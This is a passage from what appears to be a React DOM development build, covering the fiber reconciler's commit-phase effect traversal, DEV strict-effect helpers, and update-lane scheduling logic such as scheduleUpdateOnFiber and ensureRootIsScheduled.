24795 safelyCallComponentWillUnmount(fiber, fiber.return, instance);
24796 }
24797
24798 break;
24799 }
24800
24801 case HostComponent:
24802 {
24803 safelyDetachRef(fiber, fiber.return);
24804 break;
24805 }
24806
24807 case OffscreenComponent:
24808 {
24809 // Check if this is a
24810 var isHidden = fiber.memoizedState !== null;
24811
24812 if (isHidden) {
24813 // Nested Offscreen tree is already hidden. Don't disappear
24814 // its effects.
24815 disappearLayoutEffects_complete(subtreeRoot);
24816 continue;
24817 }
24818
24819 break;
24820 }
24821 } // TODO (Offscreen) Check: subtreeFlags & LayoutStatic
24822
24823
24824 if (firstChild !== null) {
24825 firstChild.return = fiber;
24826 nextEffect = firstChild;
24827 } else {
24828 disappearLayoutEffects_complete(subtreeRoot);
24829 }
24830 }
24831 }
24832
24833 function disappearLayoutEffects_complete(subtreeRoot) {
24834 while (nextEffect !== null) {
24835 var fiber = nextEffect;
24836
24837 if (fiber === subtreeRoot) {
24838 nextEffect = null;
24839 return;
24840 }
24841
24842 var sibling = fiber.sibling;
24843
24844 if (sibling !== null) {
24845 sibling.return = fiber.return;
24846 nextEffect = sibling;
24847 return;
24848 }
24849
24850 nextEffect = fiber.return;
24851 }
24852 }
24853
24854 function reappearLayoutEffects_begin(subtreeRoot) {
24855 while (nextEffect !== null) {
24856 var fiber = nextEffect;
24857 var firstChild = fiber.child;
24858
24859 if (fiber.tag === OffscreenComponent) {
24860 var isHidden = fiber.memoizedState !== null;
24861
24862 if (isHidden) {
24863 // Nested Offscreen tree is still hidden. Don't re-appear its effects.
24864 reappearLayoutEffects_complete(subtreeRoot);
24865 continue;
24866 }
24867 } // TODO (Offscreen) Check: subtreeFlags & LayoutStatic
24868
24869
24870 if (firstChild !== null) {
24871 // This node may have been reused from a previous render, so we can't
24872 // assume its return pointer is correct.
24873 firstChild.return = fiber;
24874 nextEffect = firstChild;
24875 } else {
24876 reappearLayoutEffects_complete(subtreeRoot);
24877 }
24878 }
24879 }
24880
24881 function reappearLayoutEffects_complete(subtreeRoot) {
24882 while (nextEffect !== null) {
24883 var fiber = nextEffect; // TODO (Offscreen) Check: flags & LayoutStatic
24884
24885 setCurrentFiber(fiber);
24886
24887 try {
24888 reappearLayoutEffectsOnFiber(fiber);
24889 } catch (error) {
24890 captureCommitPhaseError(fiber, fiber.return, error);
24891 }
24892
24893 resetCurrentFiber();
24894
24895 if (fiber === subtreeRoot) {
24896 nextEffect = null;
24897 return;
24898 }
24899
24900 var sibling = fiber.sibling;
24901
24902 if (sibling !== null) {
24903 // This node may have been reused from a previous render, so we can't
24904 // assume its return pointer is correct.
24905 sibling.return = fiber.return;
24906 nextEffect = sibling;
24907 return;
24908 }
24909
24910 nextEffect = fiber.return;
24911 }
24912 }
24913
24914 function commitPassiveMountEffects(root, finishedWork, committedLanes, committedTransitions) {
24915 nextEffect = finishedWork;
24916 commitPassiveMountEffects_begin(finishedWork, root, committedLanes, committedTransitions);
24917 }
24918
24919 function commitPassiveMountEffects_begin(subtreeRoot, root, committedLanes, committedTransitions) {
24920 while (nextEffect !== null) {
24921 var fiber = nextEffect;
24922 var firstChild = fiber.child;
24923
24924 if ((fiber.subtreeFlags & PassiveMask) !== NoFlags && firstChild !== null) {
24925 firstChild.return = fiber;
24926 nextEffect = firstChild;
24927 } else {
24928 commitPassiveMountEffects_complete(subtreeRoot, root, committedLanes, committedTransitions);
24929 }
24930 }
24931 }
24932
24933 function commitPassiveMountEffects_complete(subtreeRoot, root, committedLanes, committedTransitions) {
24934 while (nextEffect !== null) {
24935 var fiber = nextEffect;
24936
24937 if ((fiber.flags & Passive) !== NoFlags) {
24938 setCurrentFiber(fiber);
24939
24940 try {
24941 commitPassiveMountOnFiber(root, fiber, committedLanes, committedTransitions);
24942 } catch (error) {
24943 captureCommitPhaseError(fiber, fiber.return, error);
24944 }
24945
24946 resetCurrentFiber();
24947 }
24948
24949 if (fiber === subtreeRoot) {
24950 nextEffect = null;
24951 return;
24952 }
24953
24954 var sibling = fiber.sibling;
24955
24956 if (sibling !== null) {
24957 sibling.return = fiber.return;
24958 nextEffect = sibling;
24959 return;
24960 }
24961
24962 nextEffect = fiber.return;
24963 }
24964 }
24965
24966 function commitPassiveMountOnFiber(finishedRoot, finishedWork, committedLanes, committedTransitions) {
24967 switch (finishedWork.tag) {
24968 case FunctionComponent:
24969 case ForwardRef:
24970 case SimpleMemoComponent:
24971 {
24972 if ( finishedWork.mode & ProfileMode) {
24973 startPassiveEffectTimer();
24974
24975 try {
24976 commitHookEffectListMount(Passive$1 | HasEffect, finishedWork);
24977 } finally {
24978 recordPassiveEffectDuration(finishedWork);
24979 }
24980 } else {
24981 commitHookEffectListMount(Passive$1 | HasEffect, finishedWork);
24982 }
24983
24984 break;
24985 }
24986 }
24987 }
24988
24989 function commitPassiveUnmountEffects(firstChild) {
24990 nextEffect = firstChild;
24991 commitPassiveUnmountEffects_begin();
24992 }
24993
24994 function commitPassiveUnmountEffects_begin() {
24995 while (nextEffect !== null) {
24996 var fiber = nextEffect;
24997 var child = fiber.child;
24998
24999 if ((nextEffect.flags & ChildDeletion) !== NoFlags) {
25000 var deletions = fiber.deletions;
25001
25002 if (deletions !== null) {
25003 for (var i = 0; i < deletions.length; i++) {
25004 var fiberToDelete = deletions[i];
25005 nextEffect = fiberToDelete;
25006 commitPassiveUnmountEffectsInsideOfDeletedTree_begin(fiberToDelete, fiber);
25007 }
25008
25009 {
25010 // A fiber was deleted from this parent fiber, but it's still part of
25011 // the previous (alternate) parent fiber's list of children. Because
25012 // children are a linked list, an earlier sibling that's still alive
25013 // will be connected to the deleted fiber via its `alternate`:
25014 //
25015 // live fiber
25016 // --alternate--> previous live fiber
25017 // --sibling--> deleted fiber
25018 //
25019 // We can't disconnect `alternate` on nodes that haven't been deleted
25020 // yet, but we can disconnect the `sibling` and `child` pointers.
25021 var previousFiber = fiber.alternate;
25022
25023 if (previousFiber !== null) {
25024 var detachedChild = previousFiber.child;
25025
25026 if (detachedChild !== null) {
25027 previousFiber.child = null;
25028
25029 do {
25030 var detachedSibling = detachedChild.sibling;
25031 detachedChild.sibling = null;
25032 detachedChild = detachedSibling;
25033 } while (detachedChild !== null);
25034 }
25035 }
25036 }
25037
25038 nextEffect = fiber;
25039 }
25040 }
25041
25042 if ((fiber.subtreeFlags & PassiveMask) !== NoFlags && child !== null) {
25043 child.return = fiber;
25044 nextEffect = child;
25045 } else {
25046 commitPassiveUnmountEffects_complete();
25047 }
25048 }
25049 }
25050
25051 function commitPassiveUnmountEffects_complete() {
25052 while (nextEffect !== null) {
25053 var fiber = nextEffect;
25054
25055 if ((fiber.flags & Passive) !== NoFlags) {
25056 setCurrentFiber(fiber);
25057 commitPassiveUnmountOnFiber(fiber);
25058 resetCurrentFiber();
25059 }
25060
25061 var sibling = fiber.sibling;
25062
25063 if (sibling !== null) {
25064 sibling.return = fiber.return;
25065 nextEffect = sibling;
25066 return;
25067 }
25068
25069 nextEffect = fiber.return;
25070 }
25071 }
25072
25073 function commitPassiveUnmountOnFiber(finishedWork) {
25074 switch (finishedWork.tag) {
25075 case FunctionComponent:
25076 case ForwardRef:
25077 case SimpleMemoComponent:
25078 {
25079 if ( finishedWork.mode & ProfileMode) {
25080 startPassiveEffectTimer();
25081 commitHookEffectListUnmount(Passive$1 | HasEffect, finishedWork, finishedWork.return);
25082 recordPassiveEffectDuration(finishedWork);
25083 } else {
25084 commitHookEffectListUnmount(Passive$1 | HasEffect, finishedWork, finishedWork.return);
25085 }
25086
25087 break;
25088 }
25089 }
25090 }
25091
25092 function commitPassiveUnmountEffectsInsideOfDeletedTree_begin(deletedSubtreeRoot, nearestMountedAncestor) {
25093 while (nextEffect !== null) {
25094 var fiber = nextEffect; // Deletion effects fire in parent -> child order
25095 // TODO: Check if fiber has a PassiveStatic flag
25096
25097 setCurrentFiber(fiber);
25098 commitPassiveUnmountInsideDeletedTreeOnFiber(fiber, nearestMountedAncestor);
25099 resetCurrentFiber();
25100 var child = fiber.child; // TODO: Only traverse subtree if it has a PassiveStatic flag. (But, if we
25101 // do this, still need to handle `deletedTreeCleanUpLevel` correctly.)
25102
25103 if (child !== null) {
25104 child.return = fiber;
25105 nextEffect = child;
25106 } else {
25107 commitPassiveUnmountEffectsInsideOfDeletedTree_complete(deletedSubtreeRoot);
25108 }
25109 }
25110 }
25111
25112 function commitPassiveUnmountEffectsInsideOfDeletedTree_complete(deletedSubtreeRoot) {
25113 while (nextEffect !== null) {
25114 var fiber = nextEffect;
25115 var sibling = fiber.sibling;
25116 var returnFiber = fiber.return;
25117
25118 {
25119 // Recursively traverse the entire deleted tree and clean up fiber fields.
25120 // This is more aggressive than ideal, and the long term goal is to only
25121 // have to detach the deleted tree at the root.
25122 detachFiberAfterEffects(fiber);
25123
25124 if (fiber === deletedSubtreeRoot) {
25125 nextEffect = null;
25126 return;
25127 }
25128 }
25129
25130 if (sibling !== null) {
25131 sibling.return = returnFiber;
25132 nextEffect = sibling;
25133 return;
25134 }
25135
25136 nextEffect = returnFiber;
25137 }
25138 }
25139
25140 function commitPassiveUnmountInsideDeletedTreeOnFiber(current, nearestMountedAncestor) {
25141 switch (current.tag) {
25142 case FunctionComponent:
25143 case ForwardRef:
25144 case SimpleMemoComponent:
25145 {
25146 if ( current.mode & ProfileMode) {
25147 startPassiveEffectTimer();
25148 commitHookEffectListUnmount(Passive$1, current, nearestMountedAncestor);
25149 recordPassiveEffectDuration(current);
25150 } else {
25151 commitHookEffectListUnmount(Passive$1, current, nearestMountedAncestor);
25152 }
25153
25154 break;
25155 }
25156 }
25157 } // TODO: Reuse reappearLayoutEffects traversal here?
25158
25159
25160 function invokeLayoutEffectMountInDEV(fiber) {
25161 {
25162 // We don't need to re-check StrictEffectsMode here.
25163 // This function is only called if that check has already passed.
25164 switch (fiber.tag) {
25165 case FunctionComponent:
25166 case ForwardRef:
25167 case SimpleMemoComponent:
25168 {
25169 try {
25170 commitHookEffectListMount(Layout | HasEffect, fiber);
25171 } catch (error) {
25172 captureCommitPhaseError(fiber, fiber.return, error);
25173 }
25174
25175 break;
25176 }
25177
25178 case ClassComponent:
25179 {
25180 var instance = fiber.stateNode;
25181
25182 try {
25183 instance.componentDidMount();
25184 } catch (error) {
25185 captureCommitPhaseError(fiber, fiber.return, error);
25186 }
25187
25188 break;
25189 }
25190 }
25191 }
25192 }
25193
25194 function invokePassiveEffectMountInDEV(fiber) {
25195 {
25196 // We don't need to re-check StrictEffectsMode here.
25197 // This function is only called if that check has already passed.
25198 switch (fiber.tag) {
25199 case FunctionComponent:
25200 case ForwardRef:
25201 case SimpleMemoComponent:
25202 {
25203 try {
25204 commitHookEffectListMount(Passive$1 | HasEffect, fiber);
25205 } catch (error) {
25206 captureCommitPhaseError(fiber, fiber.return, error);
25207 }
25208
25209 break;
25210 }
25211 }
25212 }
25213 }
25214
25215 function invokeLayoutEffectUnmountInDEV(fiber) {
25216 {
25217 // We don't need to re-check StrictEffectsMode here.
25218 // This function is only called if that check has already passed.
25219 switch (fiber.tag) {
25220 case FunctionComponent:
25221 case ForwardRef:
25222 case SimpleMemoComponent:
25223 {
25224 try {
25225 commitHookEffectListUnmount(Layout | HasEffect, fiber, fiber.return);
25226 } catch (error) {
25227 captureCommitPhaseError(fiber, fiber.return, error);
25228 }
25229
25230 break;
25231 }
25232
25233 case ClassComponent:
25234 {
25235 var instance = fiber.stateNode;
25236
25237 if (typeof instance.componentWillUnmount === 'function') {
25238 safelyCallComponentWillUnmount(fiber, fiber.return, instance);
25239 }
25240
25241 break;
25242 }
25243 }
25244 }
25245 }
25246
25247 function invokePassiveEffectUnmountInDEV(fiber) {
25248 {
25249 // We don't need to re-check StrictEffectsMode here.
25250 // This function is only called if that check has already passed.
25251 switch (fiber.tag) {
25252 case FunctionComponent:
25253 case ForwardRef:
25254 case SimpleMemoComponent:
25255 {
25256 try {
25257 commitHookEffectListUnmount(Passive$1 | HasEffect, fiber, fiber.return);
25258 } catch (error) {
25259 captureCommitPhaseError(fiber, fiber.return, error);
25260 }
25261 }
25262 }
25263 }
25264 }
25265
25266 var COMPONENT_TYPE = 0;
25267 var HAS_PSEUDO_CLASS_TYPE = 1;
25268 var ROLE_TYPE = 2;
25269 var TEST_NAME_TYPE = 3;
25270 var TEXT_TYPE = 4;
25271
25272 if (typeof Symbol === 'function' && Symbol.for) {
25273 var symbolFor = Symbol.for;
25274 COMPONENT_TYPE = symbolFor('selector.component');
25275 HAS_PSEUDO_CLASS_TYPE = symbolFor('selector.has_pseudo_class');
25276 ROLE_TYPE = symbolFor('selector.role');
25277 TEST_NAME_TYPE = symbolFor('selector.test_id');
25278 TEXT_TYPE = symbolFor('selector.text');
25279 }
25280 var commitHooks = [];
25281 function onCommitRoot$1() {
25282 {
25283 commitHooks.forEach(function (commitHook) {
25284 return commitHook();
25285 });
25286 }
25287 }
25288
25289 var ReactCurrentActQueue = ReactSharedInternals.ReactCurrentActQueue;
25290 function isLegacyActEnvironment(fiber) {
25291 {
25292 // Legacy mode. We preserve the behavior of React 17's act. It assumes an
25293 // act environment whenever `jest` is defined, but you can still turn off
25294 // spurious warnings by setting IS_REACT_ACT_ENVIRONMENT explicitly
25295 // to false.
25296 var isReactActEnvironmentGlobal = // $FlowExpectedError – Flow doesn't know about IS_REACT_ACT_ENVIRONMENT global
25297 typeof IS_REACT_ACT_ENVIRONMENT !== 'undefined' ? IS_REACT_ACT_ENVIRONMENT : undefined; // $FlowExpectedError - Flow doesn't know about jest
25298
25299 var jestIsDefined = typeof jest !== 'undefined';
25300 return jestIsDefined && isReactActEnvironmentGlobal !== false;
25301 }
25302 }
25303 function isConcurrentActEnvironment() {
25304 {
25305 var isReactActEnvironmentGlobal = // $FlowExpectedError – Flow doesn't know about IS_REACT_ACT_ENVIRONMENT global
25306 typeof IS_REACT_ACT_ENVIRONMENT !== 'undefined' ? IS_REACT_ACT_ENVIRONMENT : undefined;
25307
25308 if (!isReactActEnvironmentGlobal && ReactCurrentActQueue.current !== null) {
25309 // TODO: Include link to relevant documentation page.
25310 error('The current testing environment is not configured to support ' + 'act(...)');
25311 }
25312
25313 return isReactActEnvironmentGlobal;
25314 }
25315 }
25316
25317 var ceil = Math.ceil;
25318 var ReactCurrentDispatcher$2 = ReactSharedInternals.ReactCurrentDispatcher,
25319 ReactCurrentOwner$2 = ReactSharedInternals.ReactCurrentOwner,
25320 ReactCurrentBatchConfig$3 = ReactSharedInternals.ReactCurrentBatchConfig,
25321 ReactCurrentActQueue$1 = ReactSharedInternals.ReactCurrentActQueue;
25322 var NoContext =
25323 /* */
25324 0;
25325 var BatchedContext =
25326 /* */
25327 1;
25328 var RenderContext =
25329 /* */
25330 2;
25331 var CommitContext =
25332 /* */
25333 4;
25334 var RootInProgress = 0;
25335 var RootFatalErrored = 1;
25336 var RootErrored = 2;
25337 var RootSuspended = 3;
25338 var RootSuspendedWithDelay = 4;
25339 var RootCompleted = 5;
25340 var RootDidNotComplete = 6; // Describes where we are in the React execution stack
25341
25342 var executionContext = NoContext; // The root we're working on
25343
25344 var workInProgressRoot = null; // The fiber we're working on
25345
25346 var workInProgress = null; // The lanes we're rendering
25347
25348 var workInProgressRootRenderLanes = NoLanes; // Stack that allows components to change the render lanes for its subtree
25349 // This is a superset of the lanes we started working on at the root. The only
25350 // case where it's different from `workInProgressRootRenderLanes` is when we
25351 // enter a subtree that is hidden and needs to be unhidden: Suspense and
25352 // Offscreen component.
25353 //
25354 // Most things in the work loop should deal with workInProgressRootRenderLanes.
25355 // Most things in begin/complete phases should deal with subtreeRenderLanes.
25356
25357 var subtreeRenderLanes = NoLanes;
25358 var subtreeRenderLanesCursor = createCursor(NoLanes); // Whether to root completed, errored, suspended, etc.
25359
25360 var workInProgressRootExitStatus = RootInProgress; // A fatal error, if one is thrown
25361
25362 var workInProgressRootFatalError = null; // "Included" lanes refer to lanes that were worked on during this render. It's
25363 // slightly different than `renderLanes` because `renderLanes` can change as you
25364 // enter and exit an Offscreen tree. This value is the combination of all render
25365 // lanes for the entire render phase.
25366
25367 var workInProgressRootIncludedLanes = NoLanes; // The work left over by components that were visited during this render. Only
25368 // includes unprocessed updates, not work in bailed out children.
25369
25370 var workInProgressRootSkippedLanes = NoLanes; // Lanes that were updated (in an interleaved event) during this render.
25371
25372 var workInProgressRootInterleavedUpdatedLanes = NoLanes; // Lanes that were updated during the render phase (*not* an interleaved event).
25373
25374 var workInProgressRootPingedLanes = NoLanes; // Errors that are thrown during the render phase.
25375
25376 var workInProgressRootConcurrentErrors = null; // These are errors that we recovered from without surfacing them to the UI.
25377 // We will log them once the tree commits.
25378
25379 var workInProgressRootRecoverableErrors = null; // The most recent time we committed a fallback. This lets us ensure a train
25380 // model where we don't commit new loading states in too quick succession.
25381
25382 var globalMostRecentFallbackTime = 0;
25383 var FALLBACK_THROTTLE_MS = 500; // The absolute time for when we should start giving up on rendering
25384 // more and prefer CPU suspense heuristics instead.
25385
25386 var workInProgressRootRenderTargetTime = Infinity; // How long a render is supposed to take before we start following CPU
25387 // suspense heuristics and opt out of rendering more content.
25388
25389 var RENDER_TIMEOUT_MS = 500;
25390 var workInProgressTransitions = null;
25391
25392 function resetRenderTimer() {
25393 workInProgressRootRenderTargetTime = now() + RENDER_TIMEOUT_MS;
25394 }
25395
25396 function getRenderTargetTime() {
25397 return workInProgressRootRenderTargetTime;
25398 }
25399 var hasUncaughtError = false;
25400 var firstUncaughtError = null;
25401 var legacyErrorBoundariesThatAlreadyFailed = null; // Only used when enableProfilerNestedUpdateScheduledHook is true;
25402 var rootDoesHavePassiveEffects = false;
25403 var rootWithPendingPassiveEffects = null;
25404 var pendingPassiveEffectsLanes = NoLanes;
25405 var pendingPassiveProfilerEffects = [];
25406 var pendingPassiveTransitions = null; // Use these to prevent an infinite loop of nested updates
25407
25408 var NESTED_UPDATE_LIMIT = 50;
25409 var nestedUpdateCount = 0;
25410 var rootWithNestedUpdates = null;
25411 var isFlushingPassiveEffects = false;
25412 var didScheduleUpdateDuringPassiveEffects = false;
25413 var NESTED_PASSIVE_UPDATE_LIMIT = 50;
25414 var nestedPassiveUpdateCount = 0;
25415 var rootWithPassiveNestedUpdates = null; // If two updates are scheduled within the same event, we should treat their
25416 // event times as simultaneous, even if the actual clock time has advanced
25417 // between the first and second call.
25418
25419 var currentEventTime = NoTimestamp;
25420 var currentEventTransitionLane = NoLanes;
25421 var isRunningInsertionEffect = false;
25422 function getWorkInProgressRoot() {
25423 return workInProgressRoot;
25424 }
25425 function requestEventTime() {
25426 if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {
25427 // We're inside React, so it's fine to read the actual time.
25428 return now();
25429 } // We're not inside React, so we may be in the middle of a browser event.
25430
25431
25432 if (currentEventTime !== NoTimestamp) {
25433 // Use the same start time for all updates until we enter React again.
25434 return currentEventTime;
25435 } // This is the first update since React yielded. Compute a new start time.
25436
25437
25438 currentEventTime = now();
25439 return currentEventTime;
25440 }
25441 function requestUpdateLane(fiber) {
25442 // Special cases
25443 var mode = fiber.mode;
25444
25445 if ((mode & ConcurrentMode) === NoMode) {
25446 return SyncLane;
25447 } else if ( (executionContext & RenderContext) !== NoContext && workInProgressRootRenderLanes !== NoLanes) {
25448 // This is a render phase update. These are not officially supported. The
25449 // old behavior is to give this the same "thread" (lanes) as
25450 // whatever is currently rendering. So if you call `setState` on a component
25451 // that happens later in the same render, it will flush. Ideally, we want to
25452 // remove the special case and treat them as if they came from an
25453 // interleaved event. Regardless, this pattern is not officially supported.
25454 // This behavior is only a fallback. The flag only exists until we can roll
25455 // out the setState warning, since existing code might accidentally rely on
25456 // the current behavior.
25457 return pickArbitraryLane(workInProgressRootRenderLanes);
25458 }
25459
25460 var isTransition = requestCurrentTransition() !== NoTransition;
25461
25462 if (isTransition) {
25463 if ( ReactCurrentBatchConfig$3.transition !== null) {
25464 var transition = ReactCurrentBatchConfig$3.transition;
25465
25466 if (!transition._updatedFibers) {
25467 transition._updatedFibers = new Set();
25468 }
25469
25470 transition._updatedFibers.add(fiber);
25471 } // The algorithm for assigning an update to a lane should be stable for all
25472 // updates at the same priority within the same event. To do this, the
25473 // inputs to the algorithm must be the same.
25474 //
25475 // The trick we use is to cache the first of each of these inputs within an
25476 // event. Then reset the cached values once we can be sure the event is
25477 // over. Our heuristic for that is whenever we enter a concurrent work loop.
25478
25479
25480 if (currentEventTransitionLane === NoLane) {
25481 // All transitions within the same event are assigned the same lane.
25482 currentEventTransitionLane = claimNextTransitionLane();
25483 }
25484
25485 return currentEventTransitionLane;
25486 } // Updates originating inside certain React methods, like flushSync, have
25487 // their priority set by tracking it with a context variable.
25488 //
25489 // The opaque type returned by the host config is internally a lane, so we can
25490 // use that directly.
25491 // TODO: Move this type conversion to the event priority module.
25492
25493
25494 var updateLane = getCurrentUpdatePriority();
25495
25496 if (updateLane !== NoLane) {
25497 return updateLane;
25498 } // This update originated outside React. Ask the host environment for an
25499 // appropriate priority, based on the type of event.
25500 //
25501 // The opaque type returned by the host config is internally a lane, so we can
25502 // use that directly.
25503 // TODO: Move this type conversion to the event priority module.
25504
25505
25506 var eventLane = getCurrentEventPriority();
25507 return eventLane;
25508 }
25509
25510 function requestRetryLane(fiber) {
25511 // This is a fork of `requestUpdateLane` designed specifically for Suspense
25512 // "retries" — a special update that attempts to flip a Suspense boundary
25513 // from its placeholder state to its primary/resolved state.
25514 // Special cases
25515 var mode = fiber.mode;
25516
25517 if ((mode & ConcurrentMode) === NoMode) {
25518 return SyncLane;
25519 }
25520
25521 return claimNextRetryLane();
25522 }
25523
25524 function scheduleUpdateOnFiber(root, fiber, lane, eventTime) {
25525 checkForNestedUpdates();
25526
25527 {
25528 if (isRunningInsertionEffect) {
25529 error('useInsertionEffect must not schedule updates.');
25530 }
25531 }
25532
25533 {
25534 if (isFlushingPassiveEffects) {
25535 didScheduleUpdateDuringPassiveEffects = true;
25536 }
25537 } // Mark that the root has a pending update.
25538
25539
25540 markRootUpdated(root, lane, eventTime);
25541
25542 if ((executionContext & RenderContext) !== NoLanes && root === workInProgressRoot) {
25543 // This update was dispatched during the render phase. This is a mistake
25544 // if the update originates from user space (with the exception of local
25545 // hook updates, which are handled differently and don't reach this
25546 // function), but there are some internal React features that use this as
25547 // an implementation detail, like selective hydration.
25548 warnAboutRenderPhaseUpdatesInDEV(fiber); // Track lanes that were updated during the render phase
25549 } else {
25550 // This is a normal update, scheduled from outside the render phase. For
25551 // example, during an input event.
25552 {
25553 if (isDevToolsPresent) {
25554 addFiberToLanesMap(root, fiber, lane);
25555 }
25556 }
25557
25558 warnIfUpdatesNotWrappedWithActDEV(fiber);
25559
25560 if (root === workInProgressRoot) {
25561 // Received an update to a tree that's in the middle of rendering. Mark
25562 // that there was an interleaved update work on this root. Unless the
25563 // `deferRenderPhaseUpdateToNextBatch` flag is off and this is a render
25564 // phase update. In that case, we don't treat render phase updates as if
25565 // they were interleaved, for backwards compat reasons.
25566 if ( (executionContext & RenderContext) === NoContext) {
25567 workInProgressRootInterleavedUpdatedLanes = mergeLanes(workInProgressRootInterleavedUpdatedLanes, lane);
25568 }
25569
25570 if (workInProgressRootExitStatus === RootSuspendedWithDelay) {
25571 // The root already suspended with a delay, which means this render
25572 // definitely won't finish. Since we have a new update, let's mark it as
25573 // suspended now, right before marking the incoming update. This has the
25574 // effect of interrupting the current render and switching to the update.
25575 // TODO: Make sure this doesn't override pings that happen while we've
25576 // already started rendering.
25577 markRootSuspended$1(root, workInProgressRootRenderLanes);
25578 }
25579 }
25580
25581 ensureRootIsScheduled(root, eventTime);
25582
25583 if (lane === SyncLane && executionContext === NoContext && (fiber.mode & ConcurrentMode) === NoMode && // Treat `act` as if it's inside `batchedUpdates`, even in legacy mode.
25584 !( ReactCurrentActQueue$1.isBatchingLegacy)) {
25585 // Flush the synchronous work now, unless we're already working or inside
25586 // a batch. This is intentionally inside scheduleUpdateOnFiber instead of
25587 // scheduleCallbackForFiber to preserve the ability to schedule a callback
25588 // without immediately flushing it. We only do this for user-initiated
25589 // updates, to preserve historical behavior of legacy mode.
25590 resetRenderTimer();
25591 flushSyncCallbacksOnlyInLegacyMode();
25592 }
25593 }
25594 }
25595 function scheduleInitialHydrationOnRoot(root, lane, eventTime) {
25596 // This is a special fork of scheduleUpdateOnFiber that is only used to
25597 // schedule the initial hydration of a root that has just been created. Most
25598 // of the stuff in scheduleUpdateOnFiber can be skipped.
25599 //
25600 // The main reason for this separate path, though, is to distinguish the
25601 // initial children from subsequent updates. In fully client-rendered roots
25602 // (createRoot instead of hydrateRoot), all top-level renders are modeled as
25603 // updates, but hydration roots are special because the initial render must
25604 // match what was rendered on the server.
25605 var current = root.current;
25606 current.lanes = lane;
25607 markRootUpdated(root, lane, eventTime);
25608 ensureRootIsScheduled(root, eventTime);
25609 }
25610 function isUnsafeClassRenderPhaseUpdate(fiber) {
25611 // Check if this is a render phase update. Only called by class components,
25612 // which special (deprecated) behavior for UNSAFE_componentWillReceive props.
25613 return (// TODO: Remove outdated deferRenderPhaseUpdateToNextBatch experiment. We
25614 // decided not to enable it.
25615 (executionContext & RenderContext) !== NoContext
25616 );
25617 } // Use this function to schedule a task for a root. There's only one task per
25618 // root; if a task was already scheduled, we'll check to make sure the priority
25619 // of the existing task is the same as the priority of the next level that the
25620 // root has work on. This function is called on every update, and right before
25621 // exiting a task.
25622
25623 function ensureRootIsScheduled(root, currentTime) {
25624 var existingCallbackNode = root.callbackNode; // Check if any lanes are being starved by other work. If so, mark them as
25625 // expired so we know to work on those next.
25626
25627 markStarvedLanesAsExpired(root, currentTime); // Determine the next lanes to work on, and their priority.
25628
25629 var nextLanes = getNextLanes(root, root === workInProgressRoot ? workInProgressRootRenderLanes : NoLanes);
25630
25631 if (nextLanes === NoLanes) {
25632 // Special case: There's nothing to work on.
25633 if (existingCallbackNode !== null) {
25634 cancelCallback$1(existingCallbackNode);
25635 }
25636
25637 root.callbackNode = null;
25638 root.callbackPriority = NoLane;
25639 return;
25640 } // We use the highest priority lane to represent the priority of the callback.
25641
25642
25643 var newCallbackPriority = getHighestPriorityLane(nextLanes); // Check if there's an existing task. We may be able to reuse it.
25644
25645 var existingCallbackPriority = root.callbackPriority;
25646
25647 if (existingCallbackPriority === newCallbackPriority && // Special case related to `act`. If the currently scheduled task is a
25648 // Scheduler task, rather than an `act` task, cancel it and re-scheduled
25649 // on the `act` queue.
25650 !( ReactCurrentActQueue$1.current !== null && existingCallbackNode !== fakeActCallbackNode)) {
25651 {
25652 // If we're going to re-use an existing task, it needs to exist.
25653 // Assume that discrete update microtasks are non-cancellable and null.
25654 // TODO: Temporary until we confirm this warning is not fired.
25655 if (existingCallbackNode == null && existingCallbackPriority !== SyncLane) {
25656 error('Expected scheduled callback to exist. This error is likely caused by a bug in React. Please file an issue.');
25657 }
25658 } // The priority hasn't changed. We can reuse the existing task. Exit.
25659
25660
25661 return;
25662 }
25663
25664 if (existingCallbackNode != null) {
25665 // Cancel the existing callback. We'll schedule a new one below.
25666 cancelCallback$1(existingCallbackNode);
25667 } // Schedule a new callback.
25668
25669
25670 var newCallbackNode;
25671
25672 if (newCallbackPriority === SyncLane) {
25673 // Special case: Sync React callbacks are scheduled on a special
25674 // internal queue
25675 if (root.tag === LegacyRoot) {
25676 if ( ReactCurrentActQueue$1.isBatchingLegacy !== null) {
25677 ReactCurrentActQueue$1.didScheduleLegacyUpdate = true;
25678 }
25679
25680 scheduleLegacySyncCallback(performSyncWorkOnRoot.bind(null, root));
25681 } else {
25682 scheduleSyncCallback(performSyncWorkOnRoot.bind(null, root));
25683 }
25684
25685 {
25686 // Flush the queue in a microtask.
25687 if ( ReactCurrentActQueue$1.current !== null) {
25688 // Inside `act`, use our internal `act` queue so that these get flushed
25689 // at the end of the current scope even when using the sync version
25690 // of `act`.
25691 ReactCurrentActQueue$1.current.push(flushSyncCallbacks);
25692 } else {
25693 scheduleMicrotask(function () {
25694 // In Safari, appending an iframe forces microtasks to run.
25695 // https://github.com/facebook/react/issues/22459
25696 // We don't support running callbacks in the middle of render
25697 // or commit so we need to check against that.
25698 if ((executionContext & (RenderContext | CommitContext)) === NoContext) {
25699 // Note that this would still prematurely flush the callbacks
25700 // if this happens outside render or commit phase (e.g. in an event).
25701 flushSyncCallbacks();
25702 }
25703 });
25704 }
25705 }
25706
25707 newCallbackNode = null;
25708 } else {
25709 var schedulerPriorityLevel;
25710
25711 switch (lanesToEventPriority(nextLanes)) {
25712 case DiscreteEventPriority:
25713 schedulerPriorityLevel = ImmediatePriority;
25714 break;
25715
25716 case ContinuousEventPriority:
25717 schedulerPriorityLevel = UserBlockingPriority;
25718 break;
25719
25720 case DefaultEventPriority:
25721 schedulerPriorityLevel = NormalPriority;
25722 break;
25723
25724 case IdleEventPriority:
25725 schedulerPriorityLevel = IdlePriority;
25726 break;
25727
25728 default:
25729 schedulerPriorityLevel = NormalPriority;
25730 break;
25731 }
25732
25733 newCallbackNode = scheduleCallback$1(schedulerPriorityLevel, performConcurrentWorkOnRoot.bind(null, root));
25734 }
25735
25736 root.callbackPriority = newCallbackPriority;
25737 root.callbackNode = newCallbackNode;
25738 } // This is the entry point for every concurrent task, i.e. anything that
25739 // goes through Scheduler.
25740
25741
25742 function performConcurrentWorkOnRoot(root, didTimeout) {
25743 {
25744 resetNestedUpdateFlag();
25745 } // Since we know we're in a React event, we can clear the current
25746 // event time. The next update will compute a new event time.
25747
25748
25749 currentEventTime = NoTimestamp;
25750 currentEventTransitionLane = NoLanes;
25751
25752 if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {
25753 throw new Error('Should not already be working.');
25754 } // Flush any pending passive effects before deciding which lanes to work on,
25755 // in case they schedule additional work.
25756
25757
25758 var originalCallbackNode = root.callbackNode;
